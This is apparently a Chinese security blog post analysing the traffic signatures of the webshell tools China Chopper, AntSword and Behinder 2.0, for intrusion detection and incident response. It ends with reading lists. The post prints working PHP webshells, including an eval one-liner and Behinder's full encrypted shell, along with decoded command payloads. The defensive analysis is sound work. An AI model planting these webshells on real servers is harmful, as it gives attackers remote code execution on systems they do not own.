Shell管理工具流量分析-上(菜刀、蚁剑、冰蝎2.0流量分析)入侵检测、应急响应资料整理
本文将会从攻防的角度分析常用 webshell 管理工具(菜刀、蚁剑、冰蝎2.0,冰蝎3.0、哥斯拉将在下篇介绍)的流量特点,后半部分会整理一些有关 webshell 入侵检测和应急响应的文章
文章目录
- Webshell 管理工具流量分析
- 菜刀&Cknife
- 蚁剑
- 默认编码器
- Base64编码器
- RSA模块
- 冰蝎
- 2.0流量
- 3.0流量
- 参考链接
- 资料整理
- 入侵检测
- 应急响应
Webshell 管理工具流量分析
菜刀&Cknife
先从最简单的开始吧,菜刀也算是比较早的 webshell 管理工具了,加密方式比较简单,这里分析 2016 版的菜刀
下载地址:https://github.com/raddyfiy/caidao-official-version
下载之后就直接被 360 查杀了,本地环境就是 PHP 直接在网站目录里放了个一句话,为了减少不必要的流量在 kali 虚拟机中进行操作
如果 kali 没有开启服务,可以使用以下命令
root@kali:~# service apache2 start
在 /var/www/html 下放置 shell.php
<?php @eval($_REQUEST['shell']);?>
验证成功
首先用 wireshark 开启监听,然后使用菜刀连接
图中为菜刀连接时产生的流量
首先,菜刀会伪造 X-Forwarded-For 头,且每一次利用菜刀与webshell建立连接,X-Forwarded-For 都会变化
将这段 post 请求先进行 url 解码
发现请求执行了 base64_decode 函数对 z0 进行 base64 后,经过 eval 函数执行命令,base64 解密 z0
@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;$D=dirname($_SERVER["SCRIPT_FILENAME"]);if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);$R="{$D}\t";if(substr($D,0,1)!="/"){foreach(range("A","Z") as $L)if(is_dir("{$L}:"))$R.="{$L}:";}$R.="\t";$u=(function_exists('posix_getegid'))?@posix_getpwuid(@posix_geteuid()):'';$usr=($u)?$u['name']:@get_current_user();$R.=php_uname();$R.="({$usr})";print $R;;echo("|<-");die();
这部分就是传输的 payload,首先关闭报错和 magic_quotes,接下来去获取主机的信息
这一段 QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTs
将其base64解码,为@ini_set("display_errors","0");@set_time_limit(0);
流量特征明显,可以用插件做混淆处理
Cknife
c刀是由java写的客户端,所以它的适用性比较强,linux、windows平台都可以用,cknife首先会查询服务器版本信息,接下来才是查询当前目录。由于cknife是基于菜刀改的,在流量上与菜刀是十分相似的,都包含@eval,以及base64编码后的QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTs
蚁剑
使用蚁剑进行连接时可以选择编码器
默认编码器
看流量可以发现如果用默认的蚁剑测试,连接时会请求两次(上图为第一次http请求,右击选择追踪 http 流),其请求体只是经过 url 编码,其流量中也存在和蚁剑一样的代码
@ini_set("display_errors", "0");@set_time_limit(0);
这段代码基本是所有 WebShell 客户端链接 PHP 类 WebShell 都有的一种代码
第二次 http 请求(下图)会把目录列出来
Base64编码器
php 的编码器文件在以下目录
antSword-master\source\core\php\decoder
/*** php::base64编码器* ? 利用php的base64_decode进行编码处理*/'use strict';module.exports = (pwd, data, ext = null) => {// 生成一个随机变量名let randomID;if (ext.opts.otherConf['use-random-variable'] === 1) {randomID = antSword.utils.RandomChoice(antSword['RANDOMWORDS']);} else {randomID = `${antSword['utils'].RandomLowercase()}${Math.random().toString(16).substr(2)}`;}data[randomID] = Buffer.from(data['_']).toString('base64');data[pwd] = `@eval(@base64_decode($_POST[${randomID}]));`;delete data['_'];return data;
}
data[pwd]
, 此函数的作用是作为参数传递的,所以这里在流量当中是明文传输
可以看到传入的变量 shell 没有被加密,软容易被 waf 探测到,其他的编码器也是类似的
RSA模块
有一个RSA模块,使用了RSA非对称加密进行传输,新建编码器 -> RSA配置 -> 点击生成公私钥
然后将生成好的 shell 放到目标机器点击连接查看流量,可以直接使用公钥进行解密,但是这种需要目标机器安装 OpenSsh 扩展库才可以
使用设置好的编码器连接,在流量中 ant 连接字符也没有加密
其他大佬说的并没有遇到
冰蝎
冰蝎利用了服务器端的脚本语言加密功能,通讯的过程中,消息体内容采用 AES 加密,基于特征值检测的安全产品无法查出
项目地址:https://github.com/rebeyond/Behinder/releases
简单了解一下 AES 加密
高级加密标准 (AES,Advanced Encryption Standard) 为最常见的对称加密算法(微信小程序加密传输就是用这个加密算法的),对称加密算法也就是加密和解密用相同的密钥,具体的加密流程如下图
冰蝎 2.0 加密原理图如下(Shell 端为服务端):
使用
首先上传冰蝎专属 webshell(在冰蝎的 server 目录可以找到自带 webshell)
<?php @error_reporting(0); session_start(); if (isset($_GET['pass'])) {$key=substr(md5(uniqid(rand())),16);$_SESSION['k']=$key;print $key; } else {$key=$_SESSION['k'];$post=file_get_contents("php://input");if(!extension_loaded('openssl')){$t="base64_"."decode";$post=$t($post."");for($i=0;$i<strlen($post);$i++) {$post[$i] = $post[$i]^$key[$i+1&15]; }}else{$post=openssl_decrypt($post, "AES128", $key);}$arr=explode('|',$post);$func=$arr[0];$params=$arr[1];class C{public function __construct($p) {eval($p."");}}@new C($params); } ?>
攻击者使用命令启动
java -jar .\Behinder.jar # 双击不行就用命令
连接 shell
添加之后双击即可
2.0流量
webshell分析
以 php 版本的 webshell 为例分析(就是刚刚上传的webshell),查看冰蝎的 webshell 代码,先会对 Get 传入的 pass 这个参数进行检查,如果存在的话会以时间的方式生成长度 16 的随机 key,然后存入到 session 当中,再往后判断是否开启了 openssl 这个扩展,开启的情况就会开启 AES 进行解密,得到中间结果字符串 assert|eval("phpinfo();")
此数据是由冰蝎加载器发出的,已经定义好的,服务端利用 explode 函数将拆分为一个字符串数据,然后以可变函数方式调用索引为 0 的数组元素,参数为索引为 1 的数组元素,即为 assert("eval("phpinfo;")")
,没有开启的情况,进行异或处理然后通过 base64 加密
这就是同时在早期有一定的免杀效果,但是这个函数现在已经被标注为危险函数且被加入防火墙规则
2.0 的分析文章:冰蝎,从入门到魔改
使用 Wireshark 查看连接 webshell 的流量进行分析,查看会发送俩次 Get 请求,分为俩次 Get 的握手请求,第一次请求服务端产生密钥写入session,session 和当前会话绑定。不同的客户端的密钥也是不同的,第二次请求是为了获取 key。此时的 99030fc0bb93de17
就为解密代码的 key
post 的数据可以利用上面的 Key 进行解密获得代码,可以自己写代码也可以使用在线网站进行解密,在线网站只有在这个网站解密成功
http://tools.bugscaner.com/cryptoaes/
解密后的内容会对代码再次进行了一次base64的解码
左边是没有开启OpenSsl扩展的响应,右面是开启OpenSsl扩展的,对响应进行AES的解密 (下图2) ,base64解码后的内容:{"status":"success","msg":"1a6ed26a-009d-4127-a6fb-1fd4e90c84fa"}
3.0流量
下一篇分析
冰蝎 Behinder 功能原理
- 《利用动态二进制加密实现新型一句话木马之客户端篇》 https://xz.aliyun.com/t/2799
- 《利用动态二进制加密实现新型一句话木马之Java篇》 https://xz.aliyun.com/t/2744
- 《利用动态二进制加密实现新型一句话木马之.NET篇》 https://xz.aliyun.com/t/2758
- 《利用动态二进制加密实现新型一句话木马之PHP篇》 https://xz.aliyun.com/t/2774
参考链接
- 主流WebShell工具流量层分析
- Webshell连接工具流量分析
- 常见webshell管理工具流量特征值分析
资料整理
入侵检测
- Webshell入侵检测初探
- 企业安全建设之HIDS(一)
- 企业安全建设之HIDS(二):入侵检测&应急响应
- 带外通道技术(OOB)总结
- 左右互搏术的自我修养
- 入侵检测技术建设及其在场景下的运用
- ATT&CK矩阵Linux系统安全实践
- Linux入侵检测之文件监控
- 安全防御:Linux入侵检测之文件监控
- Linux入侵检测之syscall监控
以上这些文章建议顺序学习,由 pilgrim 发布于 Freebuf,大佬的文章很详细,无需多赘述
应急响应
奇安信安服团队出版的《网络安全应急响应实战指南》一书,微信读书链接
第1~3章为网络安全应急响应工程师需要掌握的基础理论、基础技能和常用工具,第4~10章为当前网络安全应急响应常见的七大处置场景,分别是勒索病毒、挖矿木马、Webshell、网页篡改、DDoS攻击、数据泄露和流量劫持网络安全应急响应
Bypass007团队应急响应笔记
GitHub 地址:https://github.com/Bypass007/Emergency-Response-Notes
GitBook 地址:https://bypass007.github.io/Emergency-Response-Notes
包括入侵排查、日志分析、权限维持、实战部分等部分U
Shell管理工具流量分析-上(菜刀、蚁剑、冰蝎2.0流量分析)入侵检测、应急响应资料整理相关推荐
- base64还原_冰蝎3.0流量分析与还原
希望这篇文章可以真正帮助那些被打穿的单位识别与溯源. phpshell 与冰蝎2.0在建立连接时随机生成AES密钥同时明文交换不同是,冰蝎3.0的AES密钥为连接密码32位md5值的前16位,默认连接 ...
- n.m8yun.com/list/sy.php?p=1,开胃菜:冰蝎2.0流量分析
#coding:utf-8 import base64 from Crypto.Cipher import AES import binascii import json #注:python3 安装 ...
- Shell管理工具流量分析-下(冰蝎 3.0、哥斯拉 4.0 流量分析)
书接上篇,再分析冰蝎 2.0 之后来看一看 3.0 拥有那些新特性 文章目录 冰蝎 3.0流量 功能原理分析 哥斯拉 使用介绍 PHP加密器分析 推荐阅读 冰蝎 3.0流量 冰蝎 3.0 PHP sh ...
- [网络安全自学篇] 八十一.WHUCTF之WEB类解题思路WP(文件上传漏洞、冰蝎蚁剑、反序列化phar)
这是作者网络安全自学教程系列,主要是关于安全工具和实践操作的在线笔记,特分享出来与博友们学习,希望您喜欢,一起进步.前文分享了WHUCTF部分题目,包括代码审计.文件包含.过滤绕过.SQL注入.这篇文 ...
- 哥斯拉Godzilla Shell管理工具使用,马分析,特征分析(4K屏不好用,Webshell)
目录 马分析 正文 总结一下木马的利用逻辑: 总结木马特征: 简单使用方法 一些特性 流量加密 插件模块 数据库管理 内存shell 屏幕截图 虚拟终端 JMeterpreter ServletMa ...
- 【webshell管理工具之一】中国菜刀
一.webshell管理工具的起源 说起webshell管理工具,必须先来看一段代码 <?php echo shell_exec($_GET['cmd']);?> 这段一句话代码可以说是最 ...
- webshell管理之中国菜刀 蚁剑 WeBaCoo Weevely
一:中国菜刀 中国菜刀是一款国产的网站管理软件,直接php,asp,aspx等脚本语言,简单来说通过菜刀连接上传到网站的一句话木马,可以控制 部分甚至全部权限,现在很多菜刀都有后门,小心使用. 一般情 ...
- DVWA-文件上传全等级绕过(一句话木马+中国菜刀+蚁剑)
DVWA文件上传 前言 一.low级别 1.1 一句话木马 1.2 中国菜刀使用 1.3 蚁剑 二.Medium级别 三.High级别 四.Impossible级别 前言 文件上传漏洞是对于上传文件的 ...
- 学习TestLink测试用例管理工具,史上最全总结,助你一臂之力!
最近调研测试用例管理工具,重点看了一下TestLink,现将一些有价值的资料汇总如下,希望有助于你的学习! 1.选择测试用例管理工具,您真正需要的十大功能 https://www.kingwins.c ...
- 攻防兼备:中国蚁剑使用指南及特征流量
中国蚁剑是菜刀的升级版本,线现下主流的Webshell连接工具之一,有着较广泛的使用,本篇文章会教给大家蚁剑的使用方法以及不同加密方式的流量特征,兼顾攻防两端. 蚁剑下载安装参考:中国蚁剑(antSw ...
最新文章
- IndexError: list index out of range的解决办法
- 20160406作业
- Android--表格布局
- 超低延迟直播架构解析
- Android之JNI动态注册native方法和JNI数据简单使用
- 无尽包围html5游戏在线玩,小团体激发潜能小游戏突破自我
- python-json模块
- 双目立体放大!谷歌刚刚开源的这篇论文可能会成为手机双摄的新玩法
- IOS学习笔记03---C语言概述
- iOS常用的忽略警告
- Linux驱动总结3- unlocked_ioctl和堵塞(waitqueue)读写函数的实现 【转】
- 实现真正的「人机」对战:引入三方 AI 引擎
- 电商项目:畅购商城4.0
- MFC程序阻止别的软件隐藏窗口,或拦截WM_SHOWWINDOW消息
- 【松鼠科学会】头脑练功房:冥想真的有效吗?
- java包裹邮费计算_猿实战16——承运商之搭建你的运费基石
- c#汉字转拼音(GBK,GB2312)
- linux网络协议栈(四)链路层 vlan处理
- Putty中Vim无法粘贴paste的问题
- 打通现实世界,工程师通过DeFi一天内完成抵押借贷偿还房屋贷款